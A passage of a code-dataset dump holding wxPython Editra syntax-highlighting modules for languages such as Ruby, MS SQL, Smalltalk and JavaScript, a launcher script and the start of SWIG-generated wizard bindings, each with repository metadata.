syndata\n\n#-----------------------------------------------------------------------------#\n# Syntax Style Specs\nSYNTAX_ITEMS = [ (stc.STC_MAKE_DEFAULT, 'default_style'),\n (stc.STC_MAKE_COMMENT, 'comment_style'),\n (stc.STC_MAKE_IDENTIFIER, 'scalar_style'),\n (stc.STC_MAKE_IDEOL, 'ideol_style'),\n (stc.STC_MAKE_OPERATOR, 'operator_style'),\n (stc.STC_MAKE_PREPROCESSOR, 'pre2_style'),\n (stc.STC_MAKE_TARGET, 'keyword_style') ]\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for Makefiles\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_MAKEFILE)\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return SYNTAX_ITEMS\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [u'#']\n", "id": "5863595", "language": "Python", "matching_score": 2.3031978607177734, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_make.py" }, { "content": "###############################################################################\n# Name: mssql.py #\n# Purpose: Define Microsoft SQL syntax for highlighting and other features #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: mssql.py \nAUTHOR: <NAME> \n@summary: Lexer configuration module for Microsoft SQL.\n@todo: too many to list \n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _mssql.py 63834 2010-04-03 06:04:33Z CJP $\"\n__revision__ = \"$Revision: 63834 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport syndata\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Specifications ----#\n\n# Data Types\nMSSQL_DAT = (0, \"\")\n# System Tables\nMSSQL_SYS = (1, \"\")\n# Global Variables\nMSSQL_GLOB = (2, \"\")\n# Functions\nMSSQL_FUNC = (3, \"\")\n# System Stored Procedures\nMSSQL_SYSP = (4, \"\")\n# Operators\nMSSQL_OPS = (5, \"\")\n\n#---- Syntax Style Specs ----#\nSYNTAX_ITEMS = [ (stc.STC_MSSQL_DEFAULT, 'default_style'),\n (stc.STC_MSSQL_COMMENT, 'comment_style'),\n (stc.STC_MSSQL_COLUMN_NAME, 'keyword_style'),\n (stc.STC_MSSQL_COLUMN_NAME_2, 'keyword_style'),\n (stc.STC_MSSQL_DATATYPE, 'keyword2_style'),\n (stc.STC_MSSQL_DEFAULT_PREF_DATATYPE, 'class_style'),\n (stc.STC_MSSQL_FUNCTION, 'keyword3_style'),\n (stc.STC_MSSQL_GLOBAL_VARIABLE, 'global_style'),\n (stc.STC_MSSQL_IDENTIFIER, 'default_style'),\n (stc.STC_MSSQL_LINE_COMMENT, 'comment_style'),\n (stc.STC_MSSQL_NUMBER, 'number_style'),\n (stc.STC_MSSQL_OPERATOR, 'operator_style'),\n (stc.STC_MSSQL_STATEMENT, 'keyword_style'),\n (stc.STC_MSSQL_STORED_PROCEDURE, 'scalar2_style'),\n (stc.STC_MSSQL_STRING, 'string_style'),\n (stc.STC_MSSQL_SYSTABLE, 'keyword4_style'),\n (stc.STC_MSSQL_VARIABLE, 'scalar_style') ]\n\n#---- Extra Properties ----#\nFOLD = (\"fold\", \"1\")\nFOLD_COMMENT = (\"fold.comment\", \"1\")\nFOLD_COMPACT = (\"fold.compact\", \"1\")\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for MS SQL\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_MSSQL)\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return SYNTAX_ITEMS\n\n def GetProperties(self):\n \"\"\"Returns a list of Extra Properties to set \"\"\"\n return [FOLD]\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [u'--']\n", "id": "11280062", "language": "Python", "matching_score": 3.451833963394165, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_mssql.py" }, { "content": "###############################################################################\n# Name: ruby.py #\n# Purpose: Define Ruby syntax for highlighting and other features #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: ruby.py\nAUTHOR: <NAME>\n@summary: Lexer configuration module for Ruby.\n@todo: Default Style Refinement.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _ruby.py 64561 2010-06-12 01:49:05Z CJP $\"\n__revision__ = \"$Revision: 64561 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\nimport re\n\n# Local Imports\nimport synglob\nimport syndata\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Specifications ----#\n\n# Ruby Keywords\n# NOTE: putting words with question marks in them causes an assertion to be\n# raised when showing the list in the keyword helper! defined?\nRUBY_KW = (0, \"__FILE__ and def end in or self unless __LINE__ begin defined \"\n \"ensure module redo super until BEGIN break do false next \"\n \"require rescue then when END case else for nil retry true while \"\n \"alias class elsif if not return undef yieldr puts raise \"\n \"protected private\")\n\n#---- Syntax Style Specs ----#\nSYNTAX_ITEMS = [ (stc.STC_RB_BACKTICKS, 'scalar_style'),\n (stc.STC_RB_CHARACTER, 'char_style'),\n (stc.STC_RB_CLASSNAME, 'class_style'),\n (stc.STC_RB_CLASS_VAR, 'default_style'), # STYLE ME\n (stc.STC_RB_COMMENTLINE, 'comment_style'),\n (stc.STC_RB_DATASECTION, 'default_style'), # STYLE ME\n (stc.STC_RB_DEFAULT, 'default_style'),\n (stc.STC_RB_DEFNAME, 'keyword3_style'), # STYLE ME\n (stc.STC_RB_ERROR, 'error_style'),\n (stc.STC_RB_GLOBAL, 'global_style'),\n (stc.STC_RB_HERE_DELIM, 'default_style'), # STYLE ME\n (stc.STC_RB_HERE_Q, 'here_style'),\n (stc.STC_RB_HERE_QQ, 'here_style'),\n (stc.STC_RB_HERE_QX, 'here_style'),\n (stc.STC_RB_IDENTIFIER, 'default_style'),\n (stc.STC_RB_INSTANCE_VAR, 'scalar2_style'),\n (stc.STC_RB_MODULE_NAME, 'global_style'), # STYLE ME\n (stc.STC_RB_NUMBER, 'number_style'),\n (stc.STC_RB_OPERATOR, 'operator_style'),\n (stc.STC_RB_POD, 'default_style'), # STYLE ME\n (stc.STC_RB_REGEX, 'regex_style'), # STYLE ME\n (stc.STC_RB_STDIN, 'default_style'), # STYLE ME\n (stc.STC_RB_STDOUT, 'default_style'), # STYLE ME\n (stc.STC_RB_STRING, 'string_style'),\n (stc.STC_RB_STRING_Q, 'default_style'), # STYLE ME\n (stc.STC_RB_STRING_QQ, 'default_style'), # STYLE ME\n (stc.STC_RB_STRING_QR, 'default_style'), # STYLE ME\n (stc.STC_RB_STRING_QW, 'default_style'), # STYLE ME\n (stc.STC_RB_STRING_QX, 'default_style'), # STYLE ME\n (stc.STC_RB_SYMBOL, 'default_style'), # STYLE ME\n (stc.STC_RB_UPPER_BOUND, 'default_style'), # STYLE ME\n (stc.STC_RB_WORD, 'keyword_style'),\n (stc.STC_RB_WORD_DEMOTED, 'keyword2_style') ]\n\n#---- Extra Properties ----#\nFOLD = (\"fold\", \"1\")\nTIMMY = (\"fold.timmy.whinge.level\", \"1\")\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for Ruby\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_RUBY)\n self.RegisterFeature(synglob.FEATURE_AUTOINDENT, AutoIndenter)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n return [RUBY_KW]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return SYNTAX_ITEMS\n\n def GetProperties(self):\n \"\"\"Returns a list of Extra Properties to set \"\"\"\n return [FOLD, TIMMY]\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [u'#']\n\n#-----------------------------------------------------------------------------#\n\ndef AutoIndenter(estc, pos, ichar):\n \"\"\"Auto indent cpp code.\n @param estc: EditraStyledTextCtrl\n @param pos: current carat position\n @param ichar: Indentation character\n\n \"\"\"\n rtxt = u''\n line = estc.GetCurrentLine()\n text = estc.GetTextRange(estc.PositionFromLine(line), pos)\n eolch = estc.GetEOLChar()\n\n indent = estc.GetLineIndentation(line)\n if ichar == u\"\\t\":\n tabw = estc.GetTabWidth()\n else:\n tabw = estc.GetIndent()\n\n i_space = indent / tabw\n ndent = eolch + ichar * i_space\n rtxt = ndent + ((indent - (tabw * i_space)) * u' ')\n\n def_pat = re.compile('\\s*(class|def)\\s+[a-zA-Z_][a-zA-Z0-9_]*')\n text = text.strip()\n if text.endswith('{') or def_pat.match(text):\n rtxt += ichar\n\n # Put text in the buffer\n estc.AddText(rtxt)\n\n#---- Syntax Modules Internal Functions ----#\ndef KeywordString(option=0):\n \"\"\"Returns the specified Keyword String\n @note: not used by most modules\n\n \"\"\"\n return RUBY_KW[1]\n\n#---- End Syntax Modules Internal Functions ----#\n", "id": "12836679", "language": "Python", "matching_score": 4.614499092102051, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_ruby.py" }, { "content": "###############################################################################\n# Name: smalltalk.py #\n# Purpose: Define Smalltalk syntax for highlighting and other features #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: smalltalk.py\nAUTHOR: <NAME>\n@summary: Lexer configuration module for Smalltalk\n@todo: more keywords, styling fixes\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _smalltalk.py 63834 2010-04-03 06:04:33Z CJP $\"\n__revision__ = \"$Revision: 63834 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport synglob\nimport syndata\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Definitions ----#\n# Special Selectors\nST_KEYWORDS = (0, \"ifTrue: ifFalse: whileTrue: whileFalse: ifNil: ifNotNil: \"\n \"whileTrue repeat isNil put to at notNil super self \"\n \"true false new not isNil inspect out nil do add for \"\n \"methods methodsFor instanceVariableNames classVariableNames \"\n \"poolDictionaries subclass\")\n#---- End Keyword Definitions ----#\n\n#---- Syntax Style Specs ----#\nSYNTAX_ITEMS = [(stc.STC_ST_ASSIGN, 'operator_style'),\n (stc.STC_ST_BINARY, 'operator_style'),\n (stc.STC_ST_BOOL, 'keyword_style'),\n (stc.STC_ST_CHARACTER, 'char_style'),\n (stc.STC_ST_COMMENT, 'comment_style'),\n (stc.STC_ST_DEFAULT, 'default_style'),\n (stc.STC_ST_GLOBAL, 'global_style'),\n (stc.STC_ST_KWSEND, 'keyword_style'),\n (stc.STC_ST_NIL, 'keyword_style'),\n (stc.STC_ST_NUMBER, 'number_style'),\n (stc.STC_ST_RETURN, 'keyword_style'),\n (stc.STC_ST_SELF, 'keyword_style'),\n (stc.STC_ST_SPECIAL, 'pre_style'),\n (stc.STC_ST_SPEC_SEL, 'keyword_style'), # Words in keyword list\n (stc.STC_ST_STRING, 'string_style'),\n (stc.STC_ST_SUPER, 'class_style'),\n (stc.STC_ST_SYMBOL, 'scalar_style')]\n\n#---- Extra Properties ----#\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for Smalltalk\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_SMALLTALK)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n return [ST_KEYWORDS]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return SYNTAX_ITEMS\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [u'\\\"', u'\\\"']\n\n#---- Syntax Modules Internal Functions ----#\ndef KeywordString():\n \"\"\"Returns the specified Keyword String\n @note: not used by most modules\n\n \"\"\"\n return ST_KEYWORDS[1]\n\n#---- End Syntax Modules Internal Functions ----#\n", "id": "1647420", "language": "Python", "matching_score": 3.829068899154663, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_smalltalk.py" }, { "content": "###############################################################################\n# Name: javascript.py #\n# Purpose: Define JavaScript syntax for highlighting and other features #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: javascript.py\nAUTHOR: <NAME>\n@summary: Lexer configuration module for JavaScript.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _javascript.py 63834 2010-04-03 06:04:33Z CJP $\"\n__revision__ = \"$Revision: 63834 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport synglob\nimport syndata\nimport _cpp\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Specifications ----#\n\n# JavaScript Keywords # set to 1 for embeded\nJS_KEYWORDS = (0, \"abstract break boolean byte case const continue catch \"\n \"class char debugger default delete do double default \"\n \"export false else enum export extend final finally \"\n \"float for function goto if implements import in \" \n \"instanceof int interface long native new null \"\n \"package private protected public return short static \"\n \"synchronized switch super this throw throws transient \"\n \"try true typeof var void volatile with while\")\n\n#---- Syntax Style Spec ----#\nSYNTAX_ITEMS = [ (stc.STC_HJ_COMMENT, 'comment_style'),\n (stc.STC_HJ_COMMENTDOC, 'dockey_style'),\n (stc.STC_HJ_COMMENTLINE, 'comment_style'),\n (stc.STC_HJ_DEFAULT, 'default_style'),\n (stc.STC_HJ_DOUBLESTRING, 'string_style'),\n (stc.STC_HJ_KEYWORD, 'keyword_style'),\n (stc.STC_HJ_NUMBER, 'number_style'),\n (stc.STC_HJ_REGEX, 'scalar_style'), # STYLE ME\n (stc.STC_HJ_SINGLESTRING, 'string_style'),\n (stc.STC_HJ_START, 'scalar_style'),\n (stc.STC_HJ_STRINGEOL, 'stringeol_style'),\n (stc.STC_HJ_SYMBOLS, 'array_style'),\n (stc.STC_HJ_WORD, 'class_style'),\n (stc.STC_HJA_COMMENT, 'comment_style'),\n (stc.STC_HJA_COMMENTDOC, 'dockey_style'),\n (stc.STC_HJA_COMMENTLINE, 'comment_style'),\n (stc.STC_HJA_DEFAULT, 'default_style'),\n (stc.STC_HJA_DOUBLESTRING, 'string_style'),\n (stc.STC_HJA_KEYWORD, 'keyword_style'),\n (stc.STC_HJA_NUMBER, 'number_style'),\n (stc.STC_HJA_REGEX, 'scalar_style'), # STYLE ME\n (stc.STC_HJA_SINGLESTRING, 'string_style'),\n (stc.STC_HJA_START, 'scalar_style'),\n (stc.STC_HJA_STRINGEOL, 'stringeol_style'),\n (stc.STC_HJA_SYMBOLS, 'array_style'),\n (stc.STC_HJA_WORD, 'class_style') ]\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for JavaScript\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_CPP)\n self.RegisterFeature(synglob.FEATURE_AUTOINDENT, _cpp.AutoIndenter)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n return [JS_KEYWORDS,]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications\n @param lang_id: used for selecting a specific subset of syntax specs\n\n \"\"\"\n if self.LangId == synglob.ID_LANG_HTML:\n return SYNTAX_ITEMS\n else:\n return _cpp.SYNTAX_ITEMS\n\n def GetProperties(self):\n \"\"\"Returns a list of Extra Properties to set \"\"\"\n return [(\"fold\", \"1\")]\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [u'//']\n\n#---- Syntax Modules Internal Functions ----#\ndef KeywordString(option=0):\n \"\"\"Returns the specified Keyword String\n @param option: specific subset of keywords to get\n\n \"\"\"\n return JS_KEYWORDS[1]\n\n#---- End Syntax Modules Internal Functions ----#\n", "id": "9768639", "language": "Python", "matching_score": 5.97026252746582, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_javascript.py" }, { "content": "###############################################################################\n# Name: actionscript.py #\n# Purpose: Define ActionScript syntax for highlighting and other features #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2008 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: actionscript.py \nAUTHOR: <NAME> \n@summary: Lexer configuration file for ActionScript\n \n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _actionscript.py 62364 2009-10-11 01:02:12Z CJP $\"\n__revision__ = \"$Revision: 62364 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport synglob\nimport syndata\nimport _cpp\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Specifications ----#\n\n# ActionScript Keywords 0\nAS_KEYWORDS = (\"break case catch continue default do each else finally for if \"\n \"in label new return super switch throw while with \"\n # Attribute Keywords\n \"dynamic final internal native override private protected \"\n \"public static \"\n # Definition Keywords\n \"class const extends function get implements interface \"\n \"namespace package set var \"\n # Directives\n \"import include use \"\n # Primary Expression Keywords\n \"false null this true \"\n # Special Types\n \"void Null *\")\n\n# ActionScript Keywords 1\n# Namespaces and Packages\nAS_TYPES = (\"AS3 flash_proxy object_proxy flash accessibility display errors \"\n \"events external filters geom media net printing profiler system \"\n \"text ui utils xml \")\n\n#---- Syntax Style Specs ----#\n# Same as cpp\n\n#---- Extra Properties ----#\n# Same as cpp\n\n#------------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"ActionScript SyntaxData\"\"\"\n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_CPP)\n self.RegisterFeature(synglob.FEATURE_AUTOINDENT, _cpp.AutoIndenter)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List\n @param lang_id: used to select specific subset of keywords\n\n \"\"\"\n return [(0, AS_KEYWORDS), (1, AS_TYPES)]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications\n @param lang_id: used for selecting a specific subset of syntax specs\n\n \"\"\"\n return _cpp.SYNTAX_ITEMS\n\n def GetProperties(self):\n \"\"\"Returns a list of Extra Properties to set\n @param lang_id: used to select a specific set of properties\n\n \"\"\"\n return [_cpp.FOLD, _cpp.FOLD_PRE]\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code\n @param lang_id: used to select a specific subset of comment pattern(s)\n\n \"\"\"\n return [u'//']\n", "id": "12761592", "language": "Python", "matching_score": 6.6011457443237305, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_actionscript.py" }, { "content": "###############################################################################\n# Name: haxe.py #\n# Purpose: Syntax Definitions for haXe web language #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2008 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\n@summary: Lexer configuration module for haXe web programming language\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _haxe.py 62364 2009-10-11 01:02:12Z CJP $\"\n__revision__ = \"$Revision: 62364 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport synglob\nimport syndata\nimport _cpp\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Definitions ----#\nHAXE_KW = (0, \"abstract break case catch class const continue trace do else \"\n \"enum extends finally for function goto if implements import in \"\n \"instanceof int interface new package private public return \"\n \"static super switch this throw throws transient try typeof var \"\n \"void volatile while with\" )\n\nHAXE_TYPES = (1, \"Bool Enum false Float Int null String true Void \")\n\n#---- End Keyword Definitions ----#\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for HaXe\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_CPP)\n self.RegisterFeature(synglob.FEATURE_AUTOINDENT, _cpp.AutoIndenter)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n return [HAXE_KW, HAXE_TYPES, _cpp.DOC_KEYWORDS]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return _cpp.SYNTAX_ITEMS\n\n def GetProperties(self):\n \"\"\"Returns a list of Extra Properties to set \"\"\"\n return [_cpp.FOLD,]\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return ['//']\n", "id": "6600529", "language": "Python", "matching_score": 5.853731155395508, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_haxe.py" }, { "content": "###############################################################################\n# Name: squirrel.py #\n# Purpose: Syntax Definitions for Squirrel programming language #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2008 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\n@summary: Lexer configuration module for Squirrel Programming Language\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _squirrel.py 62364 2009-10-11 01:02:12Z CJP $\"\n__revision__ = \"$Revision: 62364 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport synglob\nimport syndata\nimport _cpp\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Definitions ----#\nSQUIRREL_KW = (0, \"break case catch class clone continue const default \"\n \"delegate delete do else enum extends for foreach function \"\n \"if in local null resume return switch this throw try typeof \"\n \"while parent yield constructor vargc vargv instanceof true \"\n \"false static\")\n\nSQUIRREL_TYPES = (1, \"\")\n\n#---- End Keyword Definitions ----#\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for Squirrel\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_CPP)\n self.RegisterFeature(synglob.FEATURE_AUTOINDENT, _cpp.AutoIndenter)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n return [SQUIRREL_KW, SQUIRREL_TYPES, _cpp.DOC_KEYWORDS]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return _cpp.SYNTAX_ITEMS\n\n def GetProperties(self):\n \"\"\"Returns a list of Extra Properties to set \"\"\"\n return [_cpp.FOLD,]\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return ['//']\n", "id": "12568440", "language": "Python", "matching_score": 4.530238151550293, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_squirrel.py" }, { "content": "###############################################################################\n# Name: pike.py #\n# Purpose: Define highlighting/syntax for Pike programming language #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: pike.py\n@summary: Defines syntax and highlighting settings for the Pike programming\n language. Pike is very similar in form to C/CPP so the Cpp lexer is\n used to provide the highlighting settings.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _pike.py 62364 2009-10-11 01:02:12Z CJP $\"\n__revision__ = \"$Revision: 62364 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport synglob\nimport syndata\nimport _cpp\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Definitions ----#\nPIKE_KW = (0, \"goto break return continue case default if else switch while \"\n \"foreach do gauge destruct lambda inherit import typeof catch \"\n \"for inline nomask\")\n\nPIKE_TYPE = (1, \"private protected public static \"\n \"int string void float mapping array multiset mixed program \"\n \"object function\")\n#---- End Keyword Definitions ----#\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(_cpp.SyntaxData):\n \"\"\"SyntaxData object for Pike\"\"\" \n def __init__(self, langid):\n _cpp.SyntaxData.__init__(self, langid)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n return [PIKE_KW, PIKE_TYPE, _cpp.DOC_KEYWORDS]\n\n def GetCommentPattern(self):\n \"\"\"Get the comment pattern\"\"\"\n return [u\"//\"]\n", "id": "1095532", "language": "Python", "matching_score": 2.545072555541992, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_pike.py" }, { "content": "###############################################################################\n# Name: __init__.py #\n# Purpose: initialize the syntax package #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\"\"\"Syntax data package\n\nProvides:\n - Keyword Data\n - Syntax styling definitions\n\nFor all differn't file types and languages supported by Editra\n\n\"\"\"\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: __init__.py 63070 2010-01-05 01:56:27Z CJP $\"\n__revision__ = \"$Revision: 63070 $\"\n\n#-----------------------------------------------------------------------------#\n# Setup Namespace\n\nfrom synxml import *\n\n#-----------------------------------------------------------------------------#", "id": "10189824", "language": "Python", "matching_score": 0.8355820178985596, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/__init__.py" }, { "content": "#!/usr/bin/env python\n\n# This module provides an importable module that can do the same\n# things as the Editra script, namely, set up the sys.path and\n# sys.modules for Editra and then start Editra running. This is done\n# by using execfile() to execute the code in the Editra script as if\n# it was in this module, and then the importer of this module can call\n# the main() function defined there.\n\nimport os\nlauncher = os.path.join(os.path.dirname(__file__), 'Editra')\nexecfile(launcher)\n\n", "id": "10501836", "language": "Python", "matching_score": 0.01559133268892765, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/launcher.py" }, { "content": "# This file was created automatically by SWIG 1.3.29.\n# Don't modify this file, modify the SWIG interface instead.\n\n\"\"\"\n`Wizard` is a dialog class that guides the user through a sequence of steps,\nor pages.\n\"\"\"\n\nimport _wizard\nimport new\nnew_instancemethod = new.instancemethod\ndef _swig_setattr_nondynamic(self,class_type,name,value,static=1):\n if (name == \"thisown\"): return self.this.own(value)\n if (name == \"this\"):\n if type(value).__name__ == 'PySwigObject':\n self.__dict__[name] = value\n return\n method = class_type.__swig_setmethods__.get(name,None)\n if method: return method(self,value)\n if (not static) or hasattr(self,name):\n self.__dict__[name] = value\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n\ndef _swig_setattr(self,class_type,name,value):\n return _swig_setattr_nondynamic(self,class_type,name,value,0)\n\ndef _swig_getattr(self,class_type,name):\n if (name == \"thisown\"): return self.this.own()\n method = class_type.__swig_getmethods__.get(name,None)\n if method: return method(self)\n raise AttributeError,name\n\ndef _swig_repr(self):\n try: strthis = \"proxy of \" + self.this.__repr__()\n except: strthis = \"\"\n return \"<%s.%s; %s >\" % (self.__class__.__module__, self.__class__.__name__, strthis,)\n\nimport types\ntry:\n _object = types.ObjectType\n _newclass = 1\nexcept AttributeError:\n class _object : pass\n _newclass = 0\ndel types\n\n\ndef _swig_setattr_nondynamic_method(set):\n def set_attr(self,name,value):\n if (name == \"thisown\"): return self.this.own(value)\n if hasattr(self,name) or (name == \"this\"):\n set(self,name,value)\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n return set_attr\n\n\nimport _windows\nimport _core\nwx = _core \n__docfilter__ = wx.__DocFilter(globals()) \nWIZARD_EX_HELPBUTTON = _wizard.WIZARD_EX_HELPBUTTON\nwxEVT_WIZARD_PAGE_CHANGED = _wizard.wxEVT_WIZARD_PAGE_CHANGED\nwxEVT_WIZARD_PAGE_CHANGING = _wizard.wxEVT_WIZARD_PAGE_CHANGING\nwxEVT_WIZARD_CANCEL = _wizard.wxEVT_WIZARD_CANCEL\nwxEVT_WIZARD_HELP = _wizard.wxEVT_WIZARD_HELP\nwxEVT_WIZARD_FINISHED = _wizard.wxEVT_WIZARD_FINISHED\nEVT_WIZARD_PAGE_CHANGED = wx.PyEventBinder( wxEVT_WIZARD_PAGE_CHANGED, 1)\nEVT_WIZARD_PAGE_CHANGING = wx.PyEventBinder( wxEVT_WIZARD_PAGE_CHANGING, 1)\nEVT_WIZARD_CANCEL = wx.PyEventBinder( wxEVT_WIZARD_CANCEL, 1)\nEVT_WIZARD_HELP = wx.PyEventBinder( wxEVT_WIZARD_HELP, 